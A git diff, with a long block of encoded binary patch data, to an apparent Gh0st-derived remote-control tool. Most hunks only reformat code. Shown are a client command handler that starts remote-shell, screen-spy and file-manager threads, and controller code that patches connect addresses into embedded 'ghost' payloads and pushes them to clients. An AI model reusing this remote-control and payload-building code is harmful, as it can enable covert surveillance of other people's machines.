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 } catch (...) {} + try { + return std::stoi(it->second); + } catch (...) {} } return def; } @@ -237,7 +239,7 @@ private: typedef Window (*fn_XRootWindow)(Display*, int); typedef Atom (*fn_XInternAtom)(Display*, const char*, int); typedef int (*fn_XGetWindowProperty)(Display*, Window, Atom, long, long, int, - Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**); + Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**); typedef int (*fn_XFree)(void*); typedef int (*fn_XSetErrorHandler)(int(*)(Display*, void*)); @@ -270,7 +272,10 @@ private: Atom m_atomUtf8String; Atom m_atomWmNameLegacy; - static int silentErrorHandler(Display*, void*) { return 0; } + static int silentErrorHandler(Display*, void*) + { + return 0; + } // 获取用户空闲时间(毫秒),libXss 不可用时返回 0 unsigned long GetIdleTime() @@ -503,8 +508,7 @@ private: Mprintf("%s", buffer); m_client->Send2Server(buffer, bytes_read); } - } - else if (bytes_read == -1) { + } else if (bytes_read == -1) { if (errno == EAGAIN || errno == EWOULDBLOCK) { usleep(10000); } else { @@ -608,24 +612,19 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) if (szBuffer[0] == COMMAND_BYE) { Mprintf("*** [%p] Received Bye-Bye command ***\n", user); g_bExit = S_CLIENT_EXIT; - } - else if (szBuffer[0] == COMMAND_SHELL) { + } else if (szBuffer[0] == COMMAND_SHELL) { std::thread(ShellworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SHELL' command ***\n", user); - } - else if (szBuffer[0] == COMMAND_SCREEN_SPY) { + } else if (szBuffer[0] == COMMAND_SCREEN_SPY) { std::thread(ScreenworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); - } - else if (szBuffer[0] == COMMAND_SYSTEM) { + } else if (szBuffer[0] == COMMAND_SYSTEM) { std::thread(SystemManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); - } - else if (szBuffer[0] == COMMAND_LIST_DRIVE) { + } else if (szBuffer[0] == COMMAND_LIST_DRIVE) { std::thread(FileManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); - } - else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { + } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { if (ulLength >= 1 + sizeof(HeartbeatACK)) { HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); uint64_t now = GetUnixMs(); @@ -634,8 +633,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", user, rtt_ms, g_rttEstimator.srtt * 1000); } - } - else if (szBuffer[0] == CMD_MASTERSETTING) { + } else if (szBuffer[0] == CMD_MASTERSETTING) { int settingSize = ulLength - 1; if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval MasterSettings settings = {}; @@ -644,11 +642,9 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) g_heartbeatInterval = settings.ReportInterval; Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } - } - else if (szBuffer[0] == COMMAND_NEXT) { + } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); - } - else { + } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } return TRUE; diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 0c3f0d8..71ece3e 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -416,7 +416,7 @@ BOOL CMy2015RemoteApp::InitInstance() SAFE_CLOSE_HANDLE(m_Mutex); m_Mutex = NULL; MessageBoxL("一个主控程序已经在运行,请检查任务管理器。", - "提示", MB_ICONINFORMATION); + "提示", MB_ICONINFORMATION); Mprintf("[InitInstance] 一个主控程序已经在运行,退出。"); return FALSE; } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 6538b9d064797b2e6966550d375878483c7ff1f7..72e7f0354ce903038f31cb62dc239d77f03a28aa 100644 GIT binary patch delta 378 zcmeC`VE@v|zCnn4vI4IN5c5pdP)q%t;y zPyeu-kwe&r!IQy{A(SD4A)djV!Gpn{A$YQ*k?3@V6^u@@ISiQ$c?_it6$~*zn9h*F zkk3%eP{N?Zz{|ij-BF2Ae*3RIj65vU*8!~r5nMp8*i8R-h>>mjgoBJK)A zeGbSMAO>6|*kjWUF>-)Z@<6@J0@o`9_9sXm$8?TEj0w{ZfDG+B$f$;5CAmHeLa!7+9eIhOW(Zybr>eEg6g^AIvG8 zd_mWsnImmGM;aqb`1Dyj7^SxF+RMnpGTq=1qr_w*Zma1vhZs4gUpNRP91b(`OGetClientMapData(id, MAP_LOCATION); @@ -782,10 +782,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName loc = v[RES_CLIENT_LOC].c_str(); if (loc.IsEmpty()) { loc = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str(); - needConvert = !m_HasLocDB; + needConvert = !m_HasLocDB; } } - // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8 + // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8 if (needConvert) loc = SafeUtf8ToAnsi(loc.GetString()).c_str(); bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty(); @@ -1148,9 +1148,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog() g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0); UPDATE_SPLASH(20, "正在加载IP数据库..."); - int locType = THIS_CFG.GetInt("settings", "IPLocType", 0); - char path[MAX_PATH] = {}; - GetModuleFileNameA(NULL, path, MAX_PATH); + int locType = THIS_CFG.GetInt("settings", "IPLocType", 0); + char path[MAX_PATH] = {}; + GetModuleFileNameA(NULL, path, MAX_PATH); switch (locType) { case QQWry: GET_FILEPATH(path, "qqwry.dat"); @@ -1161,11 +1161,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog() m_IPConverter = LoadFileIp2Region(path); break; } - m_HasLocDB = m_IPConverter != nullptr; + m_HasLocDB = m_IPConverter != nullptr; if (!m_HasLocDB) { m_IPConverter = new IPConverter(); //default - } - Mprintf("IP数据库加载: %s\n", m_HasLocDB ? "succeed" : "failed"); + } + Mprintf("IP数据库加载: %s\n", m_HasLocDB ? "succeed" : "failed"); UPDATE_SPLASH(25, "正在初始化视频墙..."); m_GroupList = {"default"}; @@ -1363,18 +1363,18 @@ DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param) #endif std::string ip = THIS_CFG.GetStr("settings", "master", ""); CString tip = !ip.empty() && ip != This->m_IPConverter->getPublicIP() ? - CString(ip.c_str()) + _L(" 必须是\"公网IP\"或反向代理服务器IP") : - _L("请设置\"公网IP\",或使用反向代理服务器的IP"); + CString(ip.c_str()) + _L(" 必须是\"公网IP\"或反向代理服务器IP") : + _L("请设置\"公网IP\",或使用反向代理服务器的IP"); tip += usingFRP ? _TR("[使用FRP]") : _TR("[未使用FRP]"); CharMsg* msg = new CharMsg(tip); This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); - auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang"); - langDir = langDir.empty() ? "./lang" : langDir; - if (!PathFileExists(langDir.c_str())) { - CharMsg* msg = new CharMsg(_TR("请通过“扩展”菜单指定语言包目录以支持多语言")); - This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); - } + auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang"); + langDir = langDir.empty() ? "./lang" : langDir; + if (!PathFileExists(langDir.c_str())) { + CharMsg* msg = new CharMsg(_TR("请通过“扩展”菜单指定语言包目录以支持多语言")); + This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); + } if (!This->m_HasLocDB) { CharMsg* msg = new CharMsg(_TR("请将IP数据库文件放于当前程序目录")); This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); @@ -1459,9 +1459,9 @@ void CMy2015RemoteDlg::ApplyFrpSettings() } int fileServerPort = THIS_CFG.GetInt("settings", "FileSvrPort", 80); std::string name = "YAMA-FileServer"; - cfg.SetStr(name, "type", "tcp"); - cfg.SetInt(name, "local_port", fileServerPort); - cfg.SetInt(name, "remote_port", fileServerPort); + cfg.SetStr(name, "type", "tcp"); + cfg.SetInt(name, "local_port", fileServerPort); + cfg.SetInt(name, "remote_port", fileServerPort); } void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) @@ -1626,27 +1626,28 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) } if (nIDEvent == TIMER_HEARTBEAT_CHECK && m_settings.ReportInterval > 0) { CheckHeartbeat(); - } + } __super::OnTimer(nIDEvent); } -void CMy2015RemoteDlg::CheckHeartbeat() { - CLock lock(m_cs); +void CMy2015RemoteDlg::CheckHeartbeat() +{ + CLock lock(m_cs); auto now = time(0); - int HEARTBEAT_TIMEOUT = max(30, m_settings.ReportInterval * 3); + int HEARTBEAT_TIMEOUT = max(30, m_settings.ReportInterval * 3); for (auto it = m_HostList.begin(); it != m_HostList.end(); ) { context* ContextObject = *it; if (now - ContextObject->GetLastHeartbeat() > HEARTBEAT_TIMEOUT) { auto host = ContextObject->GetAdditionalData(RES_CLIENT_PUBIP); - host = host.IsEmpty() ? std::to_string(ContextObject->GetClientID()).c_str() : host; + host = host.IsEmpty() ? std::to_string(ContextObject->GetClientID()).c_str() : host; Mprintf("Client %s[%llu] heartbeat timeout!!! \n", host, ContextObject->GetClientID()); - PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("主机掉线"), - (LPARAM)new CharMsg("主机长时间无心跳: " + host)); + PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("主机掉线"), + (LPARAM)new CharMsg("主机长时间无心跳: " + host)); it = m_HostList.erase(it); ContextObject->CancelIO(); for (int i = 0, n = m_CList_Online.GetItemCount(); i < n; i++) { - auto lParam = m_CList_Online.GetItemData(i); + auto lParam = m_CList_Online.GetItemData(i); if (lParam == (LPARAM)ContextObject) { m_CList_Online.DeleteItem(i); break; @@ -1655,7 +1656,7 @@ void CMy2015RemoteDlg::CheckHeartbeat() { } else { ++it; } - } + } } void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce) @@ -1663,8 +1664,7 @@ void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce) if (!m_pFloatingTip) return; - if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) - { + if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) { CPoint pt; GetCursorPos(&pt); CRect rc; @@ -1874,17 +1874,17 @@ void CMy2015RemoteDlg::OnOnlineUpdate() int iItem = m_CList_Online.GetNextSelectedItem(Pos); ContextObject = (context*)m_CList_Online.GetItemData(iItem); } - LeaveCriticalSection(&m_cs); + LeaveCriticalSection(&m_cs); if (n != 1 || !ContextObject) { - MessageBoxL(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING); + MessageBoxL(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING); return; } if (IDYES != MessageBoxL(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"), - _T("提示"), MB_ICONQUESTION | MB_YESNO)) + _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; PBYTE buffer = nullptr; - ULONGLONG fileSize = 0; - CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString(); + ULONGLONG fileSize = 0; + CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString(); if (clientType == "EXE") { CUpdateDlg dlg(this); if (dlg.DoModal() != IDOK) @@ -1895,7 +1895,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate() std::string stem = path.stem().string(); std::string dirName = path.parent_path().filename().string(); BYTE* szBuffer = ReadResource(dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) : - (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize); + (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize); CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN }; int iOffset = MemoryFind((char*)szBuffer, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen()); if (iOffset == -1) { @@ -1915,22 +1915,20 @@ void CMy2015RemoteDlg::OnOnlineUpdate() strcpy_s(dst->installDir, dirName.c_str()); strcpy_s(dst->installName, stem.c_str()); - fileSize = dwFileSize; + fileSize = dwFileSize; buffer = new BYTE[fileSize + 9]; - buffer[0] = COMMAND_UPDATE; + buffer[0] = COMMAND_UPDATE; memcpy(buffer + 1, &fileSize, 8); - memcpy(buffer + 9, szBuffer, fileSize); - SAFE_DELETE_ARRAY(szBuffer); - } - else if (clientType == "DLL") { + memcpy(buffer + 9, szBuffer, fileSize); + SAFE_DELETE_ARRAY(szBuffer); + } else if (clientType == "DLL") { Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64]; fileSize = buf->length(true) - 6; buffer = new BYTE[fileSize + 9]; buffer[0] = COMMAND_UPDATE; memcpy(buffer + 1, &fileSize, 8); memcpy(buffer + 9, buf->c_str() + 6, fileSize); - } - else if (clientType == "SC" || clientType == "MDLL") { + } else if (clientType == "SC" || clientType == "MDLL") { fileSize = 0; buffer = new BYTE[fileSize + 9](); buffer[0] = COMMAND_UPDATE; @@ -1999,7 +1997,8 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager() } // 是否继续远程控制:如果选择多个,则继续;如果选择单个且用户锁屏无SYSTEM权限,则提示 -BOOL CMy2015RemoteDlg::ShouldRemoteControl() { +BOOL CMy2015RemoteDlg::ShouldRemoteControl() +{ context* ContextObject = nullptr; EnterCriticalSection(&m_cs); int count = m_CList_Online.GetSelectedCount(); @@ -2019,7 +2018,8 @@ BOOL CMy2015RemoteDlg::ShouldRemoteControl() { return TRUE; } -void screenParamModifier(context* ctx, void* user){ +void screenParamModifier(context* ctx, void* user) +{ auto version = ctx->GetClientData(ONLINELIST_VERSION); if (!IsDateGreaterOrEqual(version, "Feb 8 2026")) { char* param = (char*)user; @@ -2129,7 +2129,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) { return false; } - deviceID = dlg.m_sDeviceID.GetBuffer(); + deviceID = dlg.m_sDeviceID.GetBuffer(); // 密码形式:20250209 - 20350209: SHA256: HostNum auto v = splitString(dlg.m_sPassword.GetBuffer(), '-'); @@ -2237,7 +2237,7 @@ VOID CMy2015RemoteDlg::SendAllCommand(PBYTE szBuffer, ULONG ulLength) VOID CMy2015RemoteDlg::OnAbout() { MessageBoxL("Copyleft (c) FTU 2019—2026" + _L("\n编译日期: ") + __DATE__ + - CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于", MB_ICONINFORMATION); + CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于", MB_ICONINFORMATION); } //托盘Menu @@ -2541,14 +2541,15 @@ bool IsDateInRange(const std::string& startDate, const std::string& endDate) auto isValidDate = [](const std::string& date) -> bool { if (date.length() != 8) return false; - for (char c : date) { + for (char c : date) + { if (c < '0' || c > '9') return false; } int month = std::stoi(date.substr(4, 2)); int day = std::stoi(date.substr(6, 2)); return (month >= 1 && month <= 12 && day >= 1 && day <= 31); - }; + }; if (!isValidDate(startDate) || !isValidDate(endDate)) return false; @@ -2574,12 +2575,13 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string& std::string pwd = superAdmin ? superAdmin : m_superPass; BOOL b = VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac); if (!b) return FALSE; - auto list = StringToVector(passcode, '-', 2); + auto list = StringToVector(passcode, '-', 2); return IsDateInRange(list[0], list[1]); } -BOOL IsTrail(const std::string& passcode) { - return passcode == "20260201-20280201-0020-be94-120d-20f9-919a"; +BOOL IsTrail(const std::string& passcode) +{ + return passcode == "20260201-20280201-0020-be94-120d-20f9-919a"; } VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) @@ -2957,11 +2959,11 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) } } if (host) { - CString ip = host->GetClientData(ONLINELIST_IP); + CString ip = host->GetClientData(ONLINELIST_IP); auto tm = host->GetAliveTime(); std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : - tm >= 3600 ? floatToString(tm / 3600.f) + " h" : - tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ShowMessage(_TR("操作成功"), ip + " " + _TR("主机下线") + "[" + aliveInfo.c_str() + "]"); Mprintf("%s 主机下线 [%s]\n", ip, aliveInfo.c_str()); } @@ -2999,7 +3001,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) // 回复心跳 // if(0) { - BOOL isTrail = FALSE; + BOOL isTrail = FALSE; BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac); if (authorized) { Mprintf("%s HMAC 校验成功: %llu\n", hb.Passcode, hb.PwdHmac); @@ -3028,7 +3030,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) if (hb.Ping > 0) m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? _TR("有") : _TR("无")); - id->SetLastHeartbeat(time(0)); + 